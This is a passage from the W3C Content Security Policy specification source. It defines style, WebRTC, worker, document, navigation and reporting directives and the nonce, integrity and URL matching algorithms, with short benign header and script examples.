return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  This directive's <a for=\"directive\">initialization</a> algorithm is as follows:\n\n  ISSUE: Do something interesting to the execution context in order to lock down\n  interesting CSSOM algorithms. I don't think CSSOM gives us any hooks here, so\n  let's work with them to put something reasonable together.\n\n  <h4 id=\"directive-style-src-elem\">`style-src-elem`</h4>\n\n  The syntax for the directive's name and value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"style-src-elem\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  The <dfn export>style-src-elem</dfn> directive governs the behaviour of styles\n  except for styles defined in inline attributes.\n\n  <h5 algorithm id=\"style-src-elem-pre-request\">\n    `style-src-elem` Pre-request Check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `style-src-elem` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-nonce-to-source-list]] on\n      |request|'s <a for=\"request\">cryptographic nonce metadata</a> and this\n      directive's <a for=\"directive\">value</a> is \"`Matches`\", return\n      \"`Allowed`\".\n\n  4.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  5.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"style-src-elem-post-request\">\n    `style-src-elem` Post-request Check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy|, and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `style-src-elem` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-nonce-to-source-list]] on\n      |request|'s <a for=\"request\">cryptographic nonce metadata</a> and this\n      directive's <a for=\"directive\">value</a> is \"`Matches`\", return\n      \"`Allowed`\".\n\n  4.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  5.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"style-src-elem-inline\">\n    `style-src-elem` Inline Check\n  </h5>\n\n  This directive's <a for=\"directive\">inline check</a> algorithm is as follows:\n\n  Given an {{Element}} |element|, a string |type|, a <a for=\"/\">policy</a>\n  |policy| and a string |source|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-inline-check]]\n      on |type|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `style-src-elem` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-element-to-source-list]] on\n      |element|, this directive's <a for=\"directive\">value</a>, |type|,\n      and |source|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-style-src-attr\">`style-src-attr`</h4>\n\n  The syntax for the directive's name and value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"style-src-attr\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  The <dfn export>style-src-attr</dfn> directive governs the behaviour of style attributes.\n\n  <h5 algorithm id=\"style-src-attr-inline\">\n    `style-src-attr` Inline Check\n  </h5>\n\n  This directive's <a for=\"directive\">inline check</a> algorithm is as follows:\n\n  Given an {{Element}} |element|, a string |type|, a <a for=\"/\">policy</a>\n  |policy| and a string |source|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-inline-check]]\n      on |type|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `style-src-attr` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-element-to-source-list]] on\n      |element|, this directive's <a for=\"directive\">value</a>, |type|,\n      and |source|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h3 id=\"directives-other\">Other Directives</h3>\n\n  <h4 id=\"directive-webrtc\">`webrtc`</h4>\n\n  The <dfn export>webrtc</dfn> directive restricts whether connections may be\n  established via WebRTC. The syntax for the directive's name and value is\n  described by the following ABNF:\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    directive-name  = \"webrtc\"\n    directive-value = \"<dfn>'allow'</dfn>\" / \"<dfn>'block'</dfn>\"\n  </pre>\n\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      Content-Security-Policy: <a>webrtc</a> 'block'\n    </pre>\n\n    No local ICE candidates will be surfaced, as no STUN checks will be made\n    against the ICE server provided to the peer connection negotiated below; No\n    connectivity-checks will be attempted to any remote candidates provided by JS;\n    The connectionState will never transition to \"connected\" and instead transition\n    directly from its initial state of \"new\" to \"failed\" shortly. Attempts to\n    pc.restartIce() will repeat this outcome.\n\n    <pre highlight=\"html\">\n      &lt;script&gt;\n        const iceServers = [{urls: \"stun:stun.l.google.com:19302\"}];\n        const pc = new RTCPeerConnection({iceServers});\n        pc.createDataChannel(\"\");\n        const io = new WebSocket('ws://example.com:8080');\n        pc.onicecandidate = ({candidate}) => io.send({candidate});\n        pc.onnegotiationneeded = async () => {\n          await pc.setLocalDescription();\n          io.send({description: pc.localDescription});\n        };\n        io.onmessage = async ({data: {description, candidate}}) => {\n          if (description) {\n            await pc.setRemoteDescription(description);\n            if (description.type == \"offer\") {\n              await pc.setLocalDescription();\n              io.send({description: pc.localDescription});\n            }\n          } else if (candidate) await pc.addIceCandidate(candidate);\n        };\n     &lt;/script&gt;\n    </pre>\n  </div>\n\n  <h5 algorithm id=\"webrtc-pre-connect\">\n    `webrtc` Pre-connect Check\n  </h5>\n\n  This directive's <a for=\"directive\">webrtc pre-connect check</a> is as follows:\n\n  1.  If this directive's [=directive/value=] contains a single item which is an\n      <a>ASCII case-insensitive</a> match for the string \"<a grammar>`'allow'`</a>\",\n      return \"`Allowed`\".\n\n  2.  Return \"`Blocked`\".\n\n  <h4 id=\"directive-worker-src\">`worker-src`</h4>\n\n  The <dfn export>worker-src</dfn> directive restricts the URLs which may be loaded as\n  a {{Worker}}, {{SharedWorker}}, or {{ServiceWorker}}. The syntax for the\n  directive's name and value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"worker-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>worker-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will return a network errors, as the URL\n    provided do not match `worker-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;script&gt;\n        var blockedWorker = new Worker(\"data:application/javascript,...\");\n        blockedWorker = new SharedWorker(\"https://example.org/\");\n        navigator.serviceWorker.register('https://example.org/sw.js');\n      &lt;/script&gt;\n    </pre>\n  </div>\n\n  <h5 algorithm id=\"worker-src-pre-request\">\n    `worker-src` Pre-request Check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `worker-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"worker-src-post-request\">\n    `worker-src` Post-request Check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy|, and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `worker-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h3 id=\"directives-document\">\n    Document Directives\n  </h3>\n\n  The following directives govern the properties of a document or worker\n  environment to which a policy applies.\n\n  <h4 id=\"directive-base-uri\">`base-uri`</h4>\n\n  The <dfn export>base-uri</dfn> directive restricts the {{URL}}s which can be used in\n  a {{Document}}'s <{base}> element. The syntax for the directive's name and\n  value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"base-uri\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  The following algorithm is called during HTML's <a>set the frozen base url</a>\n  algorithm in order to monitor and enforce this directive:\n\n  <h5 id=\"allow-base-for-document\" algorithm dfn export>\n    Is |base| allowed for |document|?\n  </h5>\n\n  Given a {{URL}} |base|, and a {{Document}} |document|, this algorithm\n  returns \"`Allowed`\" if |base| may be used as the value of a <{base}>\n  element's <{base/href}> attribute, and \"`Blocked`\" otherwise:\n\n  1. Let |CSP list| be |document|'s <a for=\"/\">global object</a>'s <a\n      for=\"global object\">csp list</a>\n\n  1.  <a for=list>For each</a> |policy| of |CSP list|'s [=CSP list/policies=]:\n\n      1.  Let |source list| be null.\n\n      2.  If a <a>directive</a> whose <a for=\"directive\">name</a> is\n          \"`base-uri`\" is present in |policy|'s <a for=\"content security policy object\">directive\n          set</a>, set |source list| to that <a>directive</a>'s\n          <a for=\"directive\">value</a>.\n\n      3.  If |source list| is null, skip to the next |policy|.\n\n      4.  If the result of executing [[#match-url-to-source-list]] on |base|,\n          |source list|, |CSP list|'s [=CSP list/self-origin=], and `0` is\n          \"`Does Not Match`\":\n\n          1.  Let |violation| be the result of executing\n              [[#create-violation-for-global]] on |document|'s <a for=\"/\">global\n              object</a>, |policy|, and \"<a>`base-uri`</a>\".\n\n          2.  Set |violation|'s <a for=\"violation\">resource</a> to \"`inline`\".\n\n          3.  Execute [[#report-violation]] on |violation|.\n\n          4.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\",\n              return \"`Blocked`\".\n\n      Note: We compare against the fallback base URL in order to deal correctly with things like\n      <a>an iframe `srcdoc` `Document`</a> which has been sandboxed into an opaque origin.\n\n  2.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-sandbox\">`sandbox`</h4>\n\n  The <dfn export>sandbox</dfn> directive specifies an HTML sandbox policy which the\n  user agent will apply to a resource, just as though it had been included in\n  an <{iframe}> with a <{iframe/sandbox}> property.\n\n  The directive's syntax is described by the following ABNF grammar, with\n  the additional requirement that each token value MUST be one of the\n  keywords defined by HTML specification as allowed values for the <{iframe}>\n  <{iframe/sandbox}> attribute [[!HTML]].\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    directive-name  = \"sandbox\"\n    directive-value = \"\" / <a>token</a> *( <a>required-ascii-whitespace</a> <a>token</a> )\n  </pre>\n\n  This directive has no reporting requirements; it will be ignored entirely when\n  delivered in a <a http-header>`Content-Security-Policy-Report-Only`</a> header, or within\n  a <{meta}> element.\n\n  <h5 algorithm id=\"sandbox-init\">\n    `sandbox` Initialization\n  </h5>\n\n  This directive's <a for=\"directive\">initialization</a> algorithm is\n  responsible for checking whether a worker is allowed to run according\n  to the <a>`sandbox`</a> values present in its policies as follows:\n\n  Note: The <a>sandbox</a> directive is also responsible for adjusting a\n  {{Document}}'s <a for=Document>active sandboxing flag set</a> via the\n  <a spec=html>CSP-derived sandboxing flags</a>.\n\n  Given a {{Document}} or <a for=\"/\">global object</a> |context| and a <a for=\"/\">policy</a>\n  |policy|:\n\n  1.  If |policy|'s <a for=\"content security policy object\">disposition</a> is not \"`enforce`\", or\n      |context| is not a {{WorkerGlobalScope}}, then abort this algorithm.\n\n  2.  Let |sandboxing flag set| be a new [=/sandboxing flag set=].\n\n  3.  <a>Parse a sandboxing directive</a> using this directive's <a\n      for=\"directive\">value</a> as the input, and |sandboxing flag set| as the output.\n\n  4.  If |sandboxing flag set| contains either the <a>sandboxed scripts browsing context\n      flag</a> or the <a>sandboxed origin browsing context flag</a> flags,\n      return \"`Blocked`\".\n\n       Note: This will need to change if we allow Workers to be sandboxed into unique\n       origins, which seems like a pretty reasonable thing to do.\n\n  5.  Return \"`Allowed`\".\n\n  <h3 id=\"directives-navigation\">\n    Navigation Directives\n  </h3>\n\n  <h4 id=\"directive-form-action\">`form-action`</h4>\n\n  The <dfn export>form-action</dfn> directive restricts the {{URL}}s which can be used\n  as the target of a form submissions from a given context. The directive's syntax is\n  described by the following ABNF grammar:\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\" class=\"abnf\">\n    directive-name  = \"form-action\"\n    directive-value = <a>serialized-source-list</a>\n  </pre>\n\n  <h5 algorithm id=\"form-action-pre-navigate\">\n    `form-action` Pre-Navigation Check\n  </h5>\n\n  Given a <a for=\"/\">request</a> |request|, a string |navigation type|\n  (\"`form-submission`\" or \"`other`\"), a <a for=\"/\">policy</a> |policy|, and an\n  <a>origin</a> |self-origin|, this algorithm returns \"`Blocked`\" if a form\n  submission violates the `form-action` directive's constraints, and \"`Allowed`\"\n  otherwise. This constitutes the `form-action` directive's <a>pre-navigation\n  check</a>:\n\n  <ol class=\"algorithm\">\n    1.  Assert: |policy| is unused in this algorithm.\n\n    2.  If |navigation type| is \"`form-submission`\":\n\n        1.  If the result of executing [[#match-request-to-source-list]] on\n            |request|, this directive's <a for=\"directive\">value</a>,\n            and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n    3.  Return \"`Allowed`\".\n  </ol>\n\n  <h4 id=\"directive-frame-ancestors\">`frame-ancestors`</h4>\n\n  The <dfn export>frame-ancestors</dfn> directive restricts the {{URL}}s which can\n  embed the resource using <{frame}>, <{iframe}>, <{object}>, or <{embed}>. Resources\n  can use this directive to avoid many UI Redressing [[UISECURITY]] attacks, by\n  avoiding the risk of being embedded into potentially hostile contexts.\n\n  The directive's syntax is described by the following ABNF grammar:\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    directive-name  = \"frame-ancestors\"\n    directive-value = <a>ancestor-source-list</a>\n\n    <dfn>ancestor-source-list</dfn> = ( <a>ancestor-source</a> *( <a>required-ascii-whitespace</a> <a>ancestor-source</a>) ) / \"<a>'none'</a>\"\n    <dfn>ancestor-source</dfn>      = <a>scheme-source</a> / <a>host-source</a> / \"<a>'self'</a>\"\n  </pre>\n\n  The `frame-ancestors` directive MUST be ignored when contained in a policy\n  declared via a <{meta}> element.\n\n  Note: The `frame-ancestors` directive's syntax is similar to a <a>source\n  list</a>, but `frame-ancestors` will not fall back to the `default-src`\n  directive's value if one is specified. That is, a policy that declares\n  `default-src 'none'` will still allow the resource to be embedded by anyone.\n\n  <h5 algorithm id=\"frame-ancestors-navigation-response\">\n    `frame-ancestors` Navigation Response Check\n  </h5>\n\n  Given a <a for=\"/\">request</a> |request|, a string |navigation type|\n  (\"`form-submission`\" or \"`other`\"), a <a>response</a> |navigation response|, a\n  <a>navigable</a> |target|, a string |check type| (\"`source`\" or \"`response`\"),\n  a <a for=\"/\">policy</a> <var ignore>policy</var>, and an [=origin=]\n  |self-origin|, this algorithm returns \"`Blocked`\" if one or more of the\n  ancestors of |target| violate the `frame-ancestors` directive delivered with\n  the response, and \"`Allowed`\" otherwise. This constitutes the\n  `frame-ancestors` directive's <a>navigation response check</a>:\n\n  <ol class=\"algorithm\">\n    1.  If |navigation response|'s [=response/URL=] [=is local=], return \"`Allowed`\".\n\n    2.  Assert: |request|, |navigation response|, and |navigation type|, are unused\n        from this point forward in this algorithm, as `frame-ancestors` is concerned only\n        with |navigation response|'s <a>frame-ancestors</a> <a>directive</a>.\n\n    3.  If |check type| is \"`source`\", return \"`Allowed`\".\n\n        Note: The 'frame-ancestors' <a>directive</a> is relevant only to the\n        |target| <a>navigable</a> and it has no impact on the |request|'s\n        context.\n\n    4.  If |target| is not a <a>child navigable</a>, return \"`Allowed`\".\n\n    5.  Let |current| be |target|.\n\n    6.  While |current| is a <a>child navigable</a>:\n\n        1.  Let |document| be |current|'s [=navigable/container document=].\n\n        2.  Let |origin| be the result of executing the <a>URL parser</a> on the\n            <a lt=\"ASCII serialization of an origin\">ASCII serialization</a>\n            of |document|'s [=Document/origin=].\n\n        3.  If [[#match-url-to-source-list]] returns `Does Not Match` when\n            executed upon |origin|, this directive's <a for=\"directive\">value</a>,\n            |self-origin|, and `0`, return \"`Blocked`\".\n\n        4.  Set |current| to |document|'s <a>node navigable</a>.\n\n    7.  Return \"`Allowed`\".\n  </ol>\n\n  <h5 id=\"frame-ancestors-and-frame-options\">\n    Relation to \\`<code>[:X-Frame-Options:]</code>\\`\n  </h5>\n\n  This directive is similar to the \\`<code>[:X-Frame-Options:]</code>\\` HTTP\n  response header. The `'none'` source expression is roughly equivalent to that\n  header's \\``DENY`\\`, and `'self'` to that header's \\``SAMEORIGIN`\\`. [[!HTML]]\n\n  In order to allow backwards-compatible deployment, the\n  <a>`frame-ancestors`</a> directive <em>overrides</em> the\n  \\`<code>[:X-Frame-Options:]</code>\\` header. If a resource is delivered with\n  a <a for=\"/\">policy</a> that includes a <a>directive</a> named\n  <a>`frame-ancestors`</a> and whose <a for=\"content security policy object\">disposition</a> is\n  \"`enforce`\", then the \\`<code>[:X-Frame-Options:]</code>\\` header will be\n  ignored, per <cite>HTML</cite>'s processing model.\n\n  <h3 id=\"directives-reporting\">\n    Reporting Directives\n  </h3>\n\n  Various algorithms in this document hook into the reporting process by\n  constructing a <a>violation</a> object via [[#create-violation-for-request]]\n  or [[#create-violation-for-global]], and passing that object to\n  [[#report-violation]] to deliver the report.\n\n  <h4 id=\"directive-report-uri\">`report-uri`</h4>\n\n  <div class=\"note\">\n    Note: The <a>`report-uri`</a> directive is deprecated. Please use the\n    <a>`report-to`</a> directive instead. If the latter directive is present,\n    this directive will be ignored. To ensure backwards compatibility, we\n    suggest specifying both, like this:\n\n    <div class=\"example\">\n      <pre>\n        <a http-header>Content-Security-Policy</a>: ...; <a>report-uri</a> https://endpoint.com; <a>report-to</a> groupname\n      </pre>\n    </div>\n  </div>\n\n  The <dfn export>`report-uri`</dfn> directive defines a set of endpoints to which\n  <a>csp violation reports</a> will be sent when particular behaviors are prevented.\n\n  <pre link-type=\"grammar\">\n    directive-name  = \"report-uri\"\n    directive-value = <a>uri-reference</a> *( <a>required-ascii-whitespace</a> <a>uri-reference</a> )\n\n    ; The <a>uri-reference</a> grammar is defined in Section 4.1 of RFC 3986.\n  </pre>\n\n  The directive has no effect in and of itself, but only gains meaning in\n  combination with other directives.\n\n  <h4 id=\"directive-report-to\">`report-to`</h4>\n\n  The <dfn export>`report-to`</dfn> directive defines a <a lt=\"endpoint\">reporting\n  endpoint</a> to which violation reports ought to be sent [[REPORTING]]. The\n  directive's behavior is defined in [[#report-violation]]. The directive's name\n  and value are described by the following ABNF:\n\n  <pre>\n    directive-name  = \"report-to\"\n    directive-value = <a grammar>token</a>\n  </pre>\n\n  <h3 id=\"directives-elsewhere\">\n    Directives Defined in Other Documents\n  </h3>\n\n  This document defines a core set of directives, and sets up a framework for\n  modular extension by other specifications. At the time this document was\n  produced, the following stable documents extend CSP:\n\n  * [[MIX]] defines `block-all-mixed-content`\n  * [[UPGRADE-INSECURE-REQUESTS]] defines `upgrade-insecure-requests`\n\n  Extensions to CSP MUST register themselves via the process outlined in\n  [[!RFC7762]]. In particular, note the criteria discussed in Section 4.2 of\n  that document.\n\n  New directives SHOULD use the <a for=\"directive\">pre-request check</a>,\n  <a for=\"directive\">post-request check</a>, and\n  <a for=\"directive\">initialization</a> hooks in order to integrate themselves\n  into Fetch and HTML.\n\n  <h3 id=\"matching-algorithms\">Matching Algorithms</h3>\n\n  <h4 id=\"script-checks\">Script directive checks</h4>\n\n  <h5 algorithm id=\"script-pre-request\">\n    Script directives pre-request check\n  </h5>\n\n  Given a <a for=\"/\">request</a> |request|, a <a>directive</a> |directive|, a <a\n  for=\"/\">policy</a> <var ignore>policy</var>, and an <a>origin</a>\n  |self-origin|:\n\n  1.  If |request|'s <a for=\"request\">destination</a> is <a for=\"request/destination\">script-like</a>:\n\n      1.  If the result of executing [[#match-nonce-to-source-list]] on\n          |request|'s <a for=\"request\">cryptographic nonce metadata</a> and this\n          directive's <a for=\"directive\">value</a> is \"`Matches`\", return\n          \"`Allowed`\".\n\n      2.  If the result of executing\n          [[#match-integrity-metadata-to-source-list]] on |request|'s <a\n          for=\"request\">integrity metadata</a> and this directive's <a\n          for=\"directive\">value</a> is \"`Matches`\", return \"`Allowed`\".\n\n      3.  If |directive|'s <a for=\"directive\">value</a> contains a <a>source\n          expression</a> that is an <a>ASCII case-insensitive</a> match for\n          the \"<a grammar>`'strict-dynamic'`</a>\" <a grammar>keyword-source</a>:\n\n          1.  If the |request|'s <a for=\"request\">parser metadata</a> is\n              <a>\"parser-inserted\"</a>, return \"`Blocked`\".\n\n              Otherwise, return \"`Allowed`\".\n\n              Note: \"<a grammar>`'strict-dynamic'`</a>\" is explained in more detail\n              in [[#strict-dynamic-usage]].\n\n      4.  If the result of executing [[#match-request-to-source-list]] on\n          |request|, |directive|'s <a for=\"directive\">value</a>, and\n          |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  2.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"script-post-request\">\n    Script directives post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a>directive</a> |directive|, a <a for=\"/\">policy</a> |policy|, and an\n  <a>origin</a> |self-origin|:\n\n  Note: This check needs both |request| and |response| as input\n  parameters since if |request|'s <a for=\"request\">cryptographic nonce metadata</a>\n  or <a for=\"request\">integrity metadata</a> matches, then the script is allowed to load\n  and the check of whether |response|'s url matches the source list is skipped.\n\n  1.  If |request|'s <a for=\"request\">destination</a> is <a for=\"request/destination\">script-like</a>:\n\n      1. Call [=potentially report hash=] with |response|, |request|, |directive| and |policy|.\n\n      1.  If the result of executing [[#match-nonce-to-source-list]] on\n          |request|'s <a for=\"request\">cryptographic nonce metadata</a> and this\n          directive's <a for=\"directive\">value</a> is \"`Matches`\", return\n          \"`Allowed`\".\n\n      1.  If the result of executing\n          [[#match-integrity-metadata-to-source-list]] on |request|'s <a\n          for=\"request\">integrity metadata</a> and this directive's <a\n          for=\"directive\">value</a> is \"`Matches`\", return \"`Allowed`\".\n\n      1.  If |directive|'s <a for=\"directive\">value</a> contains a <a>source\n          expression</a> that is an <a>ASCII case-insensitive</a> match for\n          the \"<a grammar>`'strict-dynamic'`</a>\" <a grammar>keyword-source</a>:\n\n          1.  If the |request|'s <a for=\"request\">parser metadata</a> is\n              <a>\"parser-inserted\"</a>, return \"`Blocked`\".\n\n              Otherwise, return \"`Allowed`\".\n\n              Note: \"<a grammar>`'strict-dynamic'`</a>\" is explained in more detail\n              in [[#strict-dynamic-usage]].\n\n      1.  If the result of executing [[#match-response-to-source-list]] on\n          |response|, |request|, |directive|'s <a for=\"directive\">value</a>,\n          and |self-origin|, is \"`Does Not Match`\", return\n          \"`Blocked`\".\n\n  2.  Return \"`Allowed`\".\n\n  <h4 id=\"matching-urls\">URL Matching</h4>\n\n  <h5 id=\"does-request-violate-policy\" algorithm>\n    Does |request| violate |policy|?\n  </h5>\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|, this algorithm returns the violated\n  <a>directive</a> if the request violates the policy, and \"`Does Not Violate`\"\n  otherwise.\n\n  1.  If |request|'s [=request/initiator=] is \"`prefetch`\", then return the\n      result of executing [[#does-resource-hint-violate-policy]] on |request|,\n      |policy|, and |self-origin|.\n\n  2.  Let |violates| be \"`Does Not Violate`\".\n\n  3.  <a for=set>For each</a> |directive| of |policy|:\n\n      1.  Let |result| be the result of executing |directive|'s <a\n          for=\"directive\">pre-request check</a> on |request|, |policy|, and\n          |self-origin|.\n\n      2.  If |result| is \"`Blocked`\", then let |violates| be |directive|.\n\n  4.  Return |violates|.\n\n  <h5 id=\"does-resource-hint-violate-policy\">\n    Does resource hint |request| violate |policy|?\n  </h5>\n\n  Given a <a for=\"/\">request</a> |request|,a <a for=\"/\">policy</a> |policy|, and\n  an <a>origin</a> |self-origin|, this algorithm returns the default\n  <a>directive</a> if the resource-hint request violates all the policies, and\n  \"`Does Not Violate`\" otherwise.\n\n  1. Let |defaultDirective| be |policy|'s first [=directive=] whose [=directive/name=] is\n      \"`default-src`\".\n\n  2. If |defaultDirective| does not exist, return \"`Does Not Violate`\".\n\n  3. <a for=set>For each</a> |directive| of |policy|:\n\n      1. If |directive|'s <a for=\"directive\">name</a> is not one of the following:\n        * `child-src`\n        * `connect-src`\n        * `font-src`\n        * `frame-src`\n        * `img-src`\n        * `manifest-src`\n        * `media-src`\n        * `object-src`\n        * `script-src`\n        * `script-src-elem`\n        * `style-src`\n        * `style-src-elem`\n        * `worker-src`\n\n        then continue.\n\n      1. Assert: |directive|'s <a for=\"directive\">value</a> is a <a>source list</a>.\n\n      1. Let |result| be the result of executing\n         [[#match-request-to-source-list]] on |request|, |directive|'s <a\n         for=\"directive\">value</a>, and |self-origin|.\n\n      1. If |result| is \"`Allowed`\", then return \"`Does Not Violate`\".\n\n  4. Return |defaultDirective|.\n\n  <h5 id=\"match-nonce-to-source-list\" algorithm>\n    Does |nonce| match |source list|?\n  </h5>\n\n  Given a <a for=\"/\">request</a>'s <a for=\"request\">cryptographic nonce metadata</a>\n  |nonce| and a <a>source list</a> |source list|, this algorithm returns\n  \"`Matches`\" if the nonce matches one or more source expressions in the list,\n  and \"`Does Not Match`\" otherwise:\n\n  1.  Assert: |source list| is not null.\n\n  2.  If |nonce| is the empty string, return \"`Does Not Match`\".\n\n  3.  <a for=set>For each</a> |expression| of |source list|:\n\n      1.  If |expression| matches the <a grammar>`nonce-source`</a> grammar,\n          and |nonce| is <a for=\"string\" lt=\"is\">identical to</a> |expression|'s\n          <a grammar>`base64-value`</a> part, return \"`Matches`\".\n\n  4.  Return \"`Does Not Match`\".\n\n  <h5 id=\"match-integrity-metadata-to-source-list\" algorithm>\n    Does |integrity metadata| match |source list|?\n  </h5>\n\n  Given a <a for=\"/\">request</a>'s <a for=\"request\">integrity metadata</a>\n  |integrity metadata| and a <a>source list</a> |source list|, this algorithm\n  returns \"`Matches`\" if the integrity metadata matches one or more source\n  expressions in the list, and \"`Does Not Match`\" otherwise:\n\n  1.  Assert: |source list| is not null.\n\n  2.  Let |integrity expressions| be the set of <a>source expressions</a> in\n      |source list| that match the <a grammar>hash-source</a> grammar.\n\n  3.  If |integrity expressions| is empty, return \"`Does Not Match`\".\n\n  4.  Let |integrity sources| be the result of <a>parsing metadata</a> given\n      |integrity metadata|. [[!SRI]]\n\n  5.  If |integrity sources| is \"`no metadata`\" or an empty set, return \"`Does\n      Not Match`\".\n\n  6.  <a for=set>For each</a> |source| of |integrity sources|:\n\n      1.  If |integrity expressions| does not contain a <a>source expression</a>\n          whose <a grammar>hash-algorithm</a> is an <a>ASCII\n          case-insensitive</a> match for |source|'s <a\n          grammar>hash-algorithm</a>, and whose <a grammar>base64-value</a> is\n          <a for=\"string\" lt=\"is\">identical to</a> |source|'s `base64-value`,\n          return \"`Does Not Match`\".\n\n  7.  Return \"`Matches`\".\n\n  Note: Here, we verify only whether the |integrity metadata| is a non-empty\n  subset of the <a grammar>hash-source</a> sources in |source list|. We rely on\n  the browser's enforcement of Subresource Integrity [[!SRI]] to block\n  non-matching resources upon response.\n\n  <h5 id=\"match-request-to-source-list\" algorithm>\n    Does |request| match |source list|?\n  </h5>\n\n  Given a <a for=\"/\">request</a> |request|, a <a>source list</a> |source list|,\n  and an <a>origin</a> |self-origin|, this algorithm returns the result of\n  executing [[#match-url-to-source-list]] on |request|'s <a\n  for=\"request\">current url</a>, |source list|, |self-origin|, and |request|'s\n  <a for=\"request\">redirect count</a>.\n\n  Note: This is generally used in <a>directives</a>' <a>pre-request check</a>\n  algorithms to verify that a given <a for=\"/\">request</a> is reasonable.\n\n  <h5 id=\"match-response-to-source-list\" algorithm>\n    Does |response| to |request| match |source list|?\n  </h5>\n\n  Given a <a>response</a> |response|, a <a for=\"/\">request</a> |request|, a\n  <a>source list</a> |source list|, and an <a>origin</a> |self-origin|, this\n  algorithm returns the result of executing [[#match-url-to-source-list]] on\n  |response|'s <a for=\"response\">url</a>, |source list|, |self-origin|, and\n  |request|'s <a for=\"request\">redirect count</a>.\n\n  Note: This is generally used in <a>directives</a>' <a>post-request check</a>\n  algorithms to verify that a given <a>response</a> is reasonable.\n\n  <h5 id=\"match-url-to-source-list\" algorithm>\n    Does |url| match |source list| in |origin| with |redirect count|?\n  </h5>\n\n  Given a {{URL}} |url|, a <a>source list</a> |source list|, an\n  <a for=\"/\">origin</a> |origin|, and a number |redirect count|, this\n  algorithm returns \"`Matches`\" if the URL matches one or more source\n  expressions in |source list|, or \"`Does Not Match`\" otherwise:\n\n  1.  Assert: |source list| is not null.\n\n  2.  If |source list| [=list/is empty=], return \"`Does Not Match`\".\n\n  3.  If |source list|'s 